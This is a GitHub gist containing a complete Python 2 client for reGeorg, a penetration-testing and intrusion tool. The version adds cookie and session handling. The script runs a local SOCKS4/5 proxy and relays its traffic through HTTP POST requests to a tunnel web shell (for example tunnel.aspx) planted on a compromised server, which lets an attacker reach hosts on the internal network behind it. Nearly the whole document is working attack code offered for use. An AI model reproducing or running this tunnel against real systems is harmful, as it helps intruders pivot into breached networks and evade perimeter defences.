Last active
September 19, 2019 07:39
-
-
Save adon90/2c9d08e89c48b60133293e49da13d4d3 to your computer and use it in GitHub Desktop.
reGeorg with Cookie
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# 保存为 re.py ,然后 re.py -u http://xx.com/tunnel.aspx -p 8080 -s "PHPSESSIONID: xxxxxxxxxxxxxxxxxx" | |
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
import logging | |
import argparse | |
import signal | |
import sys | |
import atexit | |
import httplib | |
import urllib3 | |
from threading import Thread | |
from urlparse import urlparse | |
from socket import * | |
from threading import Thread | |
from time import sleep | |
import re | |
import random | |
#import struct | |
# Constants | |
SOCKTIMEOUT = 5 | |
RESENDTIMEOUT=300 | |
VER="\x05" | |
METHOD="\x00" | |
SUCCESS="\x00" | |
SOCKFAIL="\x01" | |
NETWORKFAIL="\x02" | |
HOSTFAIL="\x04" | |
REFUSED="\x05" | |
TTLEXPIRED="\x06" | |
UNSUPPORTCMD="\x07" | |
ADDRTYPEUNSPPORT="\x08" | |
UNASSIGNED="\x09" | |
BASICCHECKSTRING = "Georg says, 'All seems fine'" | |
# Globals | |
READBUFSIZE = 1024 | |
#Logging | |
RESET_SEQ = "\033[0m" | |
COLOR_SEQ = "\033[1;%dm" | |
BOLD_SEQ = "\033[1m" | |
BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) | |
LEVEL = {"INFO" : logging.INFO, | |
"DEBUG" : logging.DEBUG, | |
} | |
logLevel = "INFO" | |
COLORS = { | |
'WARNING' : YELLOW, | |
'INFO' : WHITE, | |
'DEBUG' : BLUE, | |
'CRITICAL' : YELLOW, | |
'ERROR' : RED, | |
'RED' : RED, | |
'GREEN' : GREEN, | |
'YELLOW' : YELLOW, | |
'BLUE' : BLUE, | |
'MAGENTA' : MAGENTA, | |
'CYAN' : CYAN, | |
'WHITE' : WHITE, | |
} | |
def formatter_message(message, use_color = True): | |
if use_color: | |
message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ) | |
else: | |
message = message.replace("$RESET", "").replace("$BOLD", "") | |
return message | |
class ColoredFormatter(logging.Formatter): | |
def __init__(self, msg, use_color = True): | |
logging.Formatter.__init__(self, msg) | |
self.use_color = use_color | |
def format(self, record): | |
levelname = record.levelname | |
if self.use_color and levelname in COLORS: | |
levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQ | |
record.levelname = levelname_color | |
return logging.Formatter.format(self, record) | |
class ColoredLogger(logging.Logger): | |
def __init__(self, name): | |
FORMAT = "[$BOLD%(levelname)-18s$RESET] %(message)s" | |
COLOR_FORMAT = formatter_message(FORMAT, True) | |
logging.Logger.__init__(self, name, logLevel) | |
if (name == "transfer"): | |
COLOR_FORMAT = "\x1b[80D\x1b[1A\x1b[K%s" % COLOR_FORMAT | |
color_formatter = ColoredFormatter(COLOR_FORMAT) | |
console = logging.StreamHandler() | |
console.setFormatter(color_formatter) | |
self.addHandler(console) | |
return | |
logging.setLoggerClass(ColoredLogger) | |
log = logging.getLogger(__name__) | |
transferLog = logging.getLogger("transfer") | |
class SocksCmdNotImplemented(Exception): | |
pass | |
class SocksProtocolNotImplemented(Exception): | |
pass | |
class RemoteConnectionFailed(Exception): | |
pass | |
class session(Thread): | |
def __init__(self,pSocket,connectString,cookies): | |
Thread.__init__(self) | |
self.pSocket = pSocket | |
self.connectString = connectString | |
o = urlparse(connectString) | |
try: | |
self.httpPort = o.port | |
except: | |
if o.scheme == "https": | |
self.httpPort = 443 | |
else: | |
self.httpPort = 80 | |
self.httpScheme = o.scheme | |
self.httpHost = o.netloc.split(":")[0] | |
self.httpPath = o.path | |
self.cookieDic = {} | |
self.cookie = None | |
self.bSingleSessionMode = False | |
if o.scheme == "http": | |
self.httpScheme = urllib3.HTTPConnectionPool | |
else: | |
self.httpScheme = urllib3.HTTPSConnectionPool | |
if cookies: | |
self.bSingleSessionMode = True | |
self.socketID = self.reqRand() | |
for cookie in cookies.split(';'): | |
kv = cookie.strip().split('=') | |
self.cookieDic[kv[0]] = kv[1] | |
def parseSocks5(self,sock): | |
log.debug("SocksVersion5 detected") | |
nmethods,methods=(sock.recv(1),sock.recv(1)) | |
sock.sendall(VER+METHOD) | |
ver=sock.recv(1) | |
if ver=="\x02": # this is a hack for proxychains | |
ver,cmd,rsv,atyp=(sock.recv(1),sock.recv(1),sock.recv(1),sock.recv(1)) | |
else: | |
cmd,rsv,atyp=(sock.recv(1),sock.recv(1),sock.recv(1)) | |
target = None | |
targetPort = None | |
if atyp=="\x01":# IPv4 | |
# Reading 6 bytes for the IP and Port | |
target = sock.recv(4) | |
targetPort = sock.recv(2) | |
target =".".join([str(ord(i)) for i in target]) | |
elif atyp=="\x03":# Hostname | |
targetLen = ord(sock.recv(1)) # hostname length (1 byte) | |
target = sock.recv(targetLen) | |
targetPort = sock.recv(2) | |
target = "".join([unichr(ord(i)) for i in target]) | |
elif atyp=="\x04":# IPv6 | |
target = sock.recv(16) | |
targetPort = sock.recv(2) | |
tmp_addr=[] | |
for i in xrange(len(target)/2): | |
tmp_addr.append(unichr(ord(target[2*i])*256+ord(target[2*i+1]))) | |
target=":".join(tmp_addr) | |
targetPort = ord(targetPort[0])*256+ord(targetPort[1]) | |
if cmd=="\x02":#BIND | |
raise SocksCmdNotImplemented("Socks5 - BIND not implemented") | |
elif cmd=="\x03":#UDP | |
raise SocksCmdNotImplemented("Socks5 - UDP not implemented") | |
elif cmd=="\x01":#CONNECT | |
serverIp = target | |
try: | |
serverIp = gethostbyname(target) | |
except: | |
log.error("oeps") | |
serverIp="".join([chr(int(i)) for i in serverIp.split(".")]) | |
self.cookie = self.setupRemoteSession(target,targetPort) | |
if self.cookie: | |
sock.sendall(VER+SUCCESS+"\x00"+"\x01"+serverIp+chr(targetPort/256)+chr(targetPort%256)) | |
return True | |
else: | |
sock.sendall(VER+REFUSED+"\x00"+"\x01"+serverIp+chr(targetPort/256)+chr(targetPort%256)) | |
raise RemoteConnectionFailed("[%s:%d] Remote failed" %(target,targetPort)) | |
raise SocksCmdNotImplemented("Socks5 - Unknown CMD") | |
def parseSocks4(self,sock): | |
log.debug("SocksVersion4 detected") | |
cmd=sock.recv(1) | |
if cmd == "\x01": # Connect | |
targetPort = sock.recv(2) | |
targetPort = ord(targetPort[0])*256+ord(targetPort[1]) | |
target = sock.recv(4) | |
sock.recv(1) | |
target =".".join([str(ord(i)) for i in target]) | |
serverIp = target | |
try: | |
serverIp = gethostbyname(target) | |
except: | |
log.error("oeps") | |
serverIp="".join([chr(int(i)) for i in serverIp.split(".")]) | |
self.cookie = self.setupRemoteSession(target,targetPort) | |
if self.cookie: | |
sock.sendall(chr(0)+chr(90)+serverIp+chr(targetPort/256)+chr(targetPort%256)) | |
return True | |
else: | |
sock.sendall("\x00"+"\x91"+serverIp+chr(targetPort/256)+chr(targetPort%256)) | |
raise RemoteConnectionFailed("Remote connection failed") | |
else: | |
raise SocksProtocolNotImplemented("Socks4 - Command [%d] Not implemented" % ord(cmd)) | |
def handleSocks(self,sock): | |
# This is where we setup the socks connection | |
ver = sock.recv(1) | |
if ver == "\x05": | |
return self.parseSocks5(sock) | |
elif ver == "\x04": | |
return self.parseSocks4(sock) | |
def cookiesFilter(self,cookie): | |
newcookies = [] | |
if cookie: | |
for x in cookie.split(','): | |
if ';' in x: | |
match = re.findall('((.+?)=(.+?));(\sdomain=(.+);)?',x.strip()) | |
if match: | |
if match[0][4] == self.httpHost or match[0][4] == '': | |
self.cookieDic[match[0][1]] = match[0][2] | |
else: | |
self.cookieDic[x.split('=')[0]] = x.split('=')[1] | |
for k in self.cookieDic.keys(): | |
newcookies.append(k + '=' + self.cookieDic[k]) | |
return '; '.join(newcookies) | |
def reqRand(self): | |
return ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',10)) | |
def setupRemoteSession(self,target,port): | |
headers = {"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": port} | |
self.target = target | |
self.port = port | |
if self.bSingleSessionMode: | |
cookie = self.cookiesFilter(None) | |
headers['Cookie'] = cookie | |
headers['socketID'] = self.socketID | |
conns = self.connectString+"?cmd=connect&target={}&port={}&socketID={}".format(target,port,self.socketID) | |
else: | |
conns = self.connectString+"?cmd=connect&target={}&port={}".format(target,port) | |
cookie = None | |
conn = self.httpScheme(host=self.httpHost, port=self.httpPort) | |
#response = conn.request("POST", self.httpPath, params, headers) | |
response = conn.urlopen('POST', conns, headers=headers, body="") | |
if response.status == 200: | |
status = response.getheader("x-status") | |
if status == "OK": | |
cookie = response.getheader("set-cookie") | |
log.info("[%s:%d] HTTP [200]: cookie [%s]" % (self.target,self.port,cookie)) | |
else: | |
if response.getheader("X-ERROR") != None: | |
log.error(response.getheader("X-ERROR")) | |
else: | |
log.error("[%s:%d] HTTP [%d]: [%s]" % (self.target,self.port,response.status,response.getheader("X-ERROR"))) | |
log.error("[%s:%d] RemoteError: %s" % (self.target,self.port,response.data)) | |
conn.close() | |
return self.cookiesFilter(cookie) | |
def closeRemoteSession(self): | |
headers = {"X-CMD": "DISCONNECT", "Cookie":self.cookie} | |
if self.bSingleSessionMode: | |
headers['socketID'] = self.socketID | |
conns = self.httpPath+"?cmd=disconnect&socketID={}".format(self.socketID) | |
else: | |
conns = self.httpPath+"?cmd=disconnect" | |
params="" | |
conn = self.httpScheme(host=self.httpHost, port=self.httpPort) | |
response = conn.request("POST", conns, params, headers) | |
if response.status == 200: | |
log.info("[%s:%d] Connection Terminated" % (self.target,self.port)) | |
conn.close() | |
def reader(self): | |
conn = urllib3.PoolManager() | |
while True: | |
try: | |
if not self.pSocket: break | |
data ="" | |
headers = {"X-CMD": "READ", "Cookie": self.cookie, "Connection": "Keep-Alive"} | |
if self.bSingleSessionMode: | |
headers['socketID'] = self.socketID | |
conns = self.connectString+"?cmd=read&socketID={}".format(self.socketID) | |
else: | |
conns = self.connectString+"?cmd=read" | |
response = conn.urlopen('POST', conns, headers=headers, body="") | |
data = None | |
if response.status == 200: | |
status = response.getheader("x-status") | |
if status == "OK": | |
if response.getheader("set-cookie") != None: | |
self.cookie = self.cookiesFilter(response.getheader("set-cookie")) | |
data = response.data | |
# Yes I know this is horrible, but its a quick fix to issues with tomcat 5.x bugs that have been reported, will find a propper fix laters | |
try: | |
if response.getheader("server").find("Apache-Coyote/1.1") > 0: | |
data = data[:len(data)-1] | |
except: | |
pass | |
if data == None: data="" | |
else: | |
data = None | |
log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target,self.port,response.status,status,response.getheader("X-ERROR"))) | |
else: | |
log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target,self.port,response.status)) | |
if data == None: | |
# Remote socket closed | |
break | |
if len(data) == 0: | |
sleep(0.1) | |
continue | |
transferLog.info("[%s:%d] <<<< [%d]" % (self.target,self.port,len(data))) | |
self.pSocket.send(data) | |
except Exception,ex: | |
raise ex | |
self.closeRemoteSession() | |
log.debug("[%s:%d] Closing localsocket" % (self.target,self.port)) | |
try: | |
self.pSocket.close() | |
except: | |
log.debug("[%s:%d] Localsocket already closed" % (self.target,self.port)) | |
def writer(self): | |
global READBUFSIZE | |
conn = urllib3.PoolManager() | |
while True: | |
try: | |
self.pSocket.settimeout(1) | |
data = self.pSocket.recv(READBUFSIZE) | |
if not data: break | |
headers = {"X-CMD": "FORWARD", "Cookie": self.cookie,"Content-Type": "application/octet-stream", "Connection":"Keep-Alive"} | |
if self.bSingleSessionMode: | |
headers['socketID'] = self.socketID | |
conns = self.connectString+"?cmd=forward&socketID={}".format(self.socketID) | |
else: | |
conns = self.connectString+"?cmd=forward" | |
response = conn.urlopen('POST', conns, headers=headers, body=data) | |
if response.status == 200: | |
status = response.getheader("x-status") | |
if status == "OK": | |
if response.getheader("set-cookie") != None: | |
self.cookie = self.cookiesFilter(response.getheader("set-cookie")) | |
else: | |
log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target,self.port,response.status,status,response.getheader("x-error"))) | |
break | |
else: | |
log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target,self.port,response.status)) | |
break | |
transferLog.info("[%s:%d] >>>> [%d]" % (self.target,self.port,len(data))) | |
except timeout: | |
continue | |
except Exception,ex: | |
raise ex | |
break | |
self.closeRemoteSession() | |
log.debug("Closing localsocket") | |
try: | |
self.pSocket.close() | |
except: | |
log.debug("Localsocket already closed") | |
def run(self): | |
try: | |
if self.handleSocks(self.pSocket): | |
log.debug("Staring reader") | |
r = Thread(target=self.reader, args=()) | |
r.start() | |
log.debug("Staring writer") | |
w = Thread(target=self.writer, args=()) | |
w.start() | |
r.join() | |
w.join() | |
except SocksCmdNotImplemented, si: | |
log.error(si.message) | |
self.pSocket.close() | |
except SocksProtocolNotImplemented, spi: | |
log.error(spi.message) | |
self.pSocket.close() | |
except Exception, e: | |
log.error(e.message) | |
self.pSocket.close() | |
def askGeorg(connectString, cookies): | |
headers = {} | |
if cookies: | |
headers = {'Cookie': cookies} | |
connectString = connectString | |
o = urlparse(connectString) | |
try: | |
httpPort = o.port | |
except: | |
if o.scheme == "https": | |
httpPort = 443 | |
else: | |
httpPort = 80 | |
httpScheme = o.scheme | |
httpHost = o.netloc.split(":")[0] | |
httpPath = o.path | |
if o.scheme == "http": | |
httpScheme = urllib3.HTTPConnectionPool | |
else: | |
httpScheme = urllib3.HTTPSConnectionPool | |
conn = httpScheme(host=httpHost, port=httpPort, headers=headers) | |
response = conn.request("GET", httpPath) | |
if response.status == 200: | |
if BASICCHECKSTRING == response.data.strip()[:len(BASICCHECKSTRING)]: | |
log.info(BASICCHECKSTRING) | |
return True | |
conn.close() | |
return False | |
if __name__ == '__main__': | |
print """\033[1m | |
\033[1;33m _____ | |
_____ ______ __|___ |__ ______ _____ _____ ______ | |
| | | ___|| ___| || ___|/ \| | | ___| | |
| \ | ___|| | | || ___|| || \ | | | | |
|__|\__\|______||______| __||______|\_____/|__|\__\|______| | |
|_____| | |
... every office needs a tool like Georg | |
[email protected] / @_w_m__ | |
[email protected] / @trowalts | |
[email protected] / @kamp_staaldraad | |
\033[0m | |
""" | |
log.setLevel(logging.DEBUG) | |
parser = argparse.ArgumentParser(description='Socks server for reGeorg HTTP(s) tunneller') | |
parser.add_argument("-l","--listen-on",metavar="",help="The default listening address",default="127.0.0.1") | |
parser.add_argument("-p","--listen-port",metavar="",help="The default listening port",type=int,default="8888") | |
parser.add_argument("-r","--read-buff",metavar="",help="Local read buffer, max data to be sent per POST",type=int,default="1024") | |
parser.add_argument("-u","--url",metavar="",required=True,help="The url containing the tunnel script") | |
parser.add_argument("-v","--verbose",metavar="",help="Verbose output[INFO|DEBUG]",default="INFO") | |
parser.add_argument("-s","--single-session-mode",metavar="",help="Single session mode.[Cookie0=0; Cookie1=1]",default=None) | |
args = parser.parse_args() | |
if (LEVEL.has_key(args.verbose)): | |
log.setLevel(LEVEL[args.verbose]) | |
log.info("Log Level set to [%s]" % args.verbose) | |
log.info("Starting socks server [%s:%d], tunnel at [%s]" % (args.listen_on,args.listen_port,args.url)) | |
log.info("Checking if Georg is ready") | |
if not askGeorg(args.url, args.single_session_mode): | |
log.info("Georg is not ready, please check url") | |
exit() | |
READBUFSIZE = args.read_buff | |
servSock = socket(AF_INET,SOCK_STREAM) | |
servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) | |
servSock.bind((args.listen_on,args.listen_port)) | |
servSock.listen(1000) | |
while True: | |
try: | |
sock,addr_info=servSock.accept() | |
sock.settimeout(SOCKTIMEOUT) | |
log.debug("Incomming connection") | |
session(sock,args.url,args.single_session_mode).start() | |
except KeyboardInterrupt,ex: | |
break | |
except Exception,e: | |
log.error(e) | |
servSock.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment